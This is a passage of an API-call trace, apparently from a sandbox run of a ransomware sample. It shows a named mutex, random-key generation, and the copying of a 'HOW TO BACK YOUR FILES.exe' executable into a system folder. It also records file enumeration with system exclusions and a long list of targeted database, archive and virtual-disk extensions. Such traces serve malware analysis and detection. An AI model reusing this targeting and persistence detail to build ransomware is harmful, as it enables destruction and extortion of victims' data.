dwMaximumSizeLow=0x91c80, lpName=0x0) returned 0x154 [0106.367] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x91c80) returned 0x2d50000 [0106.392] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0106.393] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0106.393] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0106.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0106.393] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0106.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0106.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0106.393] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0106.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0106.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0106.393] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0106.393] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0106.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0106.394] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0106.399] CloseHandle (hObject=0x154) returned 1 [0106.399] CloseHandle (hObject=0x17c) returned 1 [0106.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0106.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0106.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0106.401] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6018e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcb6018e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0106.401] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0106.401] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6018e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcb6018e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0106.401] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0106.402] ReleaseMutex (hMutex=0xec) returned 1 [0106.402] CloseHandle (hObject=0xec) returned 1 [0106.402] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" [0106.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e200 | out: hHeap=0x4f0000) returned 1 [0106.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f6a0 | out: hHeap=0x4f0000) returned 1 [0106.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW") returned 49 [0106.402] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\467A23DAF9696F4ECBFDBDA211899678") returned 0xec [0106.402] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0106.402] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" [0106.402] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0106.402] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\how to back your files.exe"), bFailIfExists=1) returned 0 [0106.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0106.403] GetLastError () returned 0x0 [0106.403] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0106.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54bd40 [0106.403] ReadFile (in: hFile=0xf4, lpBuffer=0x54bd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54bd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0106.404] CloseHandle (hObject=0xf4) returned 1 [0106.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0106.404] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0106.404] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcdfa99e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcdfa99e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0106.404] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.404] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0106.404] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0106.404] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcdfa99e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcdfa99e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.404] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.404] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0106.404] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0106.404] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0106.404] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0106.404] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.404] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0106.404] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2=".") returned 1 [0106.404] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="..") returned 1 [0106.405] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="windows") returned -1 [0106.405] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="bootmgr") returned 1 [0106.405] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="temp") returned -1 [0106.405] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="pagefile.sys") returned -1 [0106.405] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="boot") returned 1 [0106.405] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="ids.txt") returned -1 [0106.405] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="ntuser.dat") returned -1 [0106.405] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="perflogs") returned -1 [0106.405] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="MSBuild") returned -1 [0106.405] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0106.405] lstrcpyW (in: lpString1=0x241e8ac, lpString2="DBGHELP.DLL" | out: lpString1="DBGHELP.DLL") returned="DBGHELP.DLL" [0106.405] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0106.405] lstrlenW (lpString="Athena865") returned 9 [0106.405] lstrcmpiW (lpString1="GHELP.DLL", lpString2="Athena865") returned 1 [0106.405] lstrlenW (lpString=".dll") returned 4 [0106.405] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2=".dll") returned 1 [0106.405] lstrlenW (lpString=".lnk") returned 4 [0106.405] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2=".lnk") returned 1 [0106.405] lstrlenW (lpString=".ini") returned 4 [0106.405] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2=".ini") returned 1 [0106.405] lstrlenW (lpString=".sys") returned 4 [0106.405] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2=".sys") returned 1 [0106.405] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0106.405] lstrlenW (lpString="bak") returned 3 [0106.405] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0106.405] lstrlenW (lpString="ba_") returned 3 [0106.405] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0106.405] lstrlenW (lpString="dbb") returned 3 [0106.405] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0106.405] lstrlenW (lpString="vmdk") returned 4 [0106.405] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0106.405] lstrlenW (lpString="rar") returned 3 [0106.406] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0106.406] lstrlenW (lpString="zip") returned 3 [0106.406] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0106.406] lstrlenW (lpString="tgz") returned 3 [0106.406] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0106.406] lstrlenW (lpString="vbox") returned 4 [0106.406] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0106.406] lstrlenW (lpString="vdi") returned 3 [0106.406] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0106.406] lstrlenW (lpString="vhd") returned 3 [0106.406] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0106.406] lstrlenW (lpString="vhdx") returned 4 [0106.406] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0106.406] lstrlenW (lpString="avhd") returned 4 [0106.406] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0106.406] lstrlenW (lpString="db") returned 2 [0106.406] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0106.406] lstrlenW (lpString="db2") returned 3 [0106.406] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0106.406] lstrlenW (lpString="db3") returned 3 [0106.406] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0106.406] lstrlenW (lpString="dbf") returned 3 [0106.406] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0106.406] lstrlenW (lpString="mdf") returned 3 [0106.406] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0106.406] lstrlenW (lpString="mdb") returned 3 [0106.406] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0106.406] lstrlenW (lpString="sql") returned 3 [0106.406] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0106.406] lstrlenW (lpString="sqlite") returned 6 [0106.406] lstrcmpiW (lpString1="LP.DLL", lpString2="sqlite") returned -1 [0106.406] lstrlenW (lpString="sqlite3") returned 7 [0106.406] lstrcmpiW (lpString1="ELP.DLL", lpString2="sqlite3") returned -1 [0106.407] lstrlenW (lpString="sqlitedb") returned 8 [0106.407] lstrcmpiW (lpString1="HELP.DLL", lpString2="sqlitedb") returned -1 [0106.407] lstrlenW (lpString="xml") returned 3 [0106.407] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0106.407] lstrlenW (lpString="$er") returned 3 [0106.407] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0106.407] lstrlenW (lpString="4dd") returned 3 [0106.407] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0106.407] lstrlenW (lpString="4dl") returned 3 [0106.407] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0106.407] lstrlenW (lpString="^^^") returned 3 [0106.407] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0106.407] lstrlenW (lpString="abs") returned 3 [0106.407] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0106.407] lstrlenW (lpString="abx") returned 3 [0106.407] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0106.407] lstrlenW (lpString="accdb") returned 5 [0106.407] lstrcmpiW (lpString1="P.DLL", lpString2="accdb") returned 1 [0106.407] lstrlenW (lpString="accdc") returned 5 [0106.407] lstrcmpiW (lpString1="P.DLL", lpString2="accdc") returned 1 [0106.407] lstrlenW (lpString="accde") returned 5 [0106.407] lstrcmpiW (lpString1="P.DLL", lpString2="accde") returned 1 [0106.407] lstrlenW (lpString="accdr") returned 5 [0106.407] lstrcmpiW (lpString1="P.DLL", lpString2="accdr") returned 1 [0106.407] lstrlenW (lpString="accdt") returned 5 [0106.407] lstrcmpiW (lpString1="P.DLL", lpString2="accdt") returned 1 [0106.407] lstrlenW (lpString="accdw") returned 5 [0106.407] lstrcmpiW (lpString1="P.DLL", lpString2="accdw") returned 1 [0106.407] lstrlenW (lpString="accft") returned 5 [0106.407] lstrcmpiW (lpString1="P.DLL", lpString2="accft") returned 1 [0106.407] lstrlenW (lpString="adb") returned 3 [0106.407] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0106.407] lstrlenW (lpString="adb") returned 3 [0106.408] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0106.408] lstrlenW (lpString="ade") returned 3 [0106.408] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0106.408] lstrlenW (lpString="adf") returned 3 [0106.408] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0106.408] lstrlenW (lpString="adn") returned 3 [0106.408] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0106.408] lstrlenW (lpString="adp") returned 3 [0106.408] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0106.408] lstrlenW (lpString="alf") returned 3 [0106.408] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0106.408] lstrlenW (lpString="ask") returned 3 [0106.408] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0106.408] lstrlenW (lpString="btr") returned 3 [0106.408] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0106.408] lstrlenW (lpString="cat") returned 3 [0106.408] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0106.408] lstrlenW (lpString="cdb") returned 3 [0106.408] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0106.408] lstrlenW (lpString="ckp") returned 3 [0106.408] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0106.408] lstrlenW (lpString="cma") returned 3 [0106.408] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0106.408] lstrlenW (lpString="cpd") returned 3 [0106.408] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0106.408] lstrlenW (lpString="dacpac") returned 6 [0106.408] lstrcmpiW (lpString1="LP.DLL", lpString2="dacpac") returned 1 [0106.408] lstrlenW (lpString="dad") returned 3 [0106.408] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0106.408] lstrlenW (lpString="dadiagrams") returned 10 [0106.408] lstrcmpiW (lpString1="BGHELP.DLL", lpString2="dadiagrams") returned -1 [0106.408] lstrlenW (lpString="daschema") returned 8 [0106.408] lstrcmpiW (lpString1="HELP.DLL", lpString2="daschema") returned 1 [0106.409] lstrlenW (lpString="db-journal") returned 10 [0106.409] lstrcmpiW (lpString1="BGHELP.DLL", lpString2="db-journal") returned -1 [0106.409] lstrlenW (lpString="db-shm") returned 6 [0106.409] lstrcmpiW (lpString1="LP.DLL", lpString2="db-shm") returned 1 [0106.409] lstrlenW (lpString="db-wal") returned 6 [0106.409] lstrcmpiW (lpString1="LP.DLL", lpString2="db-wal") returned 1 [0106.409] lstrlenW (lpString="dbc") returned 3 [0106.409] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0106.409] lstrlenW (lpString="dbs") returned 3 [0106.409] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0106.409] lstrlenW (lpString="dbt") returned 3 [0106.409] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0106.409] lstrlenW (lpString="dbv") returned 3 [0106.409] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0106.409] lstrlenW (lpString="dbx") returned 3 [0106.409] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0106.409] lstrlenW (lpString="dcb") returned 3 [0106.409] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0106.409] lstrlenW (lpString="dct") returned 3 [0106.409] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0106.409] lstrlenW (lpString="dcx") returned 3 [0106.409] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0106.409] lstrlenW (lpString="ddl") returned 3 [0106.409] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0106.409] lstrlenW (lpString="dlis") returned 4 [0106.409] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0106.409] lstrlenW (lpString="dp1") returned 3 [0106.409] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0106.409] lstrlenW (lpString="dqy") returned 3 [0106.409] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0106.410] lstrlenW (lpString="dsk") returned 3 [0106.410] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0106.410] lstrlenW (lpString="dsn") returned 3 [0106.410] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0106.410] lstrlenW (lpString="dtsx") returned 4 [0106.410] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0106.410] lstrlenW (lpString="dxl") returned 3 [0106.410] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0106.410] lstrlenW (lpString="eco") returned 3 [0106.410] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0106.410] lstrlenW (lpString="ecx") returned 3 [0106.410] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0106.410] lstrlenW (lpString="edb") returned 3 [0106.410] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0106.410] lstrlenW (lpString="epim") returned 4 [0106.410] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0106.410] lstrlenW (lpString="fcd") returned 3 [0106.410] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0106.410] lstrlenW (lpString="fdb") returned 3 [0106.410] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0106.410] lstrlenW (lpString="fic") returned 3 [0106.410] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0106.410] lstrlenW (lpString="flexolibrary") returned 12 [0106.410] lstrlenW (lpString="fm5") returned 3 [0106.410] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0106.410] lstrlenW (lpString="fmp") returned 3 [0106.410] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0106.410] lstrlenW (lpString="fmp12") returned 5 [0106.410] lstrcmpiW (lpString1="P.DLL", lpString2="fmp12") returned 1 [0106.410] lstrlenW (lpString="fmpsl") returned 5 [0106.410] lstrcmpiW (lpString1="P.DLL", lpString2="fmpsl") returned 1 [0106.411] lstrlenW (lpString="fol") returned 3 [0106.411] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0106.411] lstrlenW (lpString="fp3") returned 3 [0106.411] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0106.411] lstrlenW (lpString="fp4") returned 3 [0106.411] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0106.411] lstrlenW (lpString="fp5") returned 3 [0106.411] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0106.411] lstrlenW (lpString="fp7") returned 3 [0106.411] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0106.411] lstrlenW (lpString="fpt") returned 3 [0106.411] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0106.411] lstrlenW (lpString="frm") returned 3 [0106.411] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0106.411] lstrlenW (lpString="gdb") returned 3 [0106.411] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0106.411] lstrlenW (lpString="gdb") returned 3 [0106.411] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0106.411] lstrlenW (lpString="grdb") returned 4 [0106.411] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0106.411] lstrlenW (lpString="gwi") returned 3 [0106.411] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0106.411] lstrlenW (lpString="hdb") returned 3 [0106.411] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0106.411] lstrlenW (lpString="his") returned 3 [0106.411] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0106.411] lstrlenW (lpString="ib") returned 2 [0106.411] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0106.411] lstrlenW (lpString="idb") returned 3 [0106.411] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0106.411] lstrlenW (lpString="ihx") returned 3 [0106.411] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0106.411] lstrlenW (lpString="itdb") returned 4 [0106.412] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0106.412] lstrlenW (lpString="itw") returned 3 [0106.412] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0106.412] lstrlenW (lpString="jet") returned 3 [0106.412] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0106.412] lstrlenW (lpString="jtx") returned 3 [0106.412] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0106.412] lstrlenW (lpString="kdb") returned 3 [0106.412] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0106.412] lstrlenW (lpString="kexi") returned 4 [0106.412] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0106.412] lstrlenW (lpString="kexic") returned 5 [0106.412] lstrcmpiW (lpString1="P.DLL", lpString2="kexic") returned 1 [0106.412] lstrlenW (lpString="kexis") returned 5 [0106.412] lstrcmpiW (lpString1="P.DLL", lpString2="kexis") returned 1 [0106.412] lstrlenW (lpString="lgc") returned 3 [0106.412] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0106.412] lstrlenW (lpString="lwx") returned 3 [0106.412] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0106.412] lstrlenW (lpString="maf") returned 3 [0106.412] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0106.412] lstrlenW (lpString="maq") returned 3 [0106.412] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0106.412] lstrlenW (lpString="mar") returned 3 [0106.412] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0106.412] lstrlenW (lpString="marshal") returned 7 [0106.412] lstrcmpiW (lpString1="ELP.DLL", lpString2="marshal") returned -1 [0106.412] lstrlenW (lpString="mas") returned 3 [0106.412] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0106.412] lstrlenW (lpString="mav") returned 3 [0106.412] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0106.412] lstrlenW (lpString="maw") returned 3 [0106.412] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0106.413] lstrlenW (lpString="mdbhtml") returned 7 [0106.413] lstrcmpiW (lpString1="ELP.DLL", lpString2="mdbhtml") returned -1 [0106.413] lstrlenW (lpString="mdn") returned 3 [0106.413] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0106.413] lstrlenW (lpString="mdt") returned 3 [0106.413] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0106.413] lstrlenW (lpString="mfd") returned 3 [0106.413] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0106.413] lstrlenW (lpString="mpd") returned 3 [0106.413] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0106.413] lstrlenW (lpString="mrg") returned 3 [0106.413] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0106.413] lstrlenW (lpString="mud") returned 3 [0106.413] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0106.413] lstrlenW (lpString="mwb") returned 3 [0106.413] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0106.413] lstrlenW (lpString="myd") returned 3 [0106.413] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0106.413] lstrlenW (lpString="ndf") returned 3 [0106.413] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0106.413] lstrlenW (lpString="nnt") returned 3 [0106.413] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0106.413] lstrlenW (lpString="nrmlib") returned 6 [0106.413] lstrcmpiW (lpString1="LP.DLL", lpString2="nrmlib") returned -1 [0106.413] lstrlenW (lpString="ns2") returned 3 [0106.413] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0106.413] lstrlenW (lpString="ns3") returned 3 [0106.413] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0106.413] lstrlenW (lpString="ns4") returned 3 [0106.413] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0106.413] lstrlenW (lpString="nsf") returned 3 [0106.413] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0106.414] lstrlenW (lpString="nv") returned 2 [0106.414] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0106.414] lstrlenW (lpString="nv2") returned 3 [0106.414] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0106.414] lstrlenW (lpString="nwdb") returned 4 [0106.414] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0106.414] lstrlenW (lpString="nyf") returned 3 [0106.414] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0106.414] lstrlenW (lpString="odb") returned 3 [0106.414] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0106.414] lstrlenW (lpString="odb") returned 3 [0106.414] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 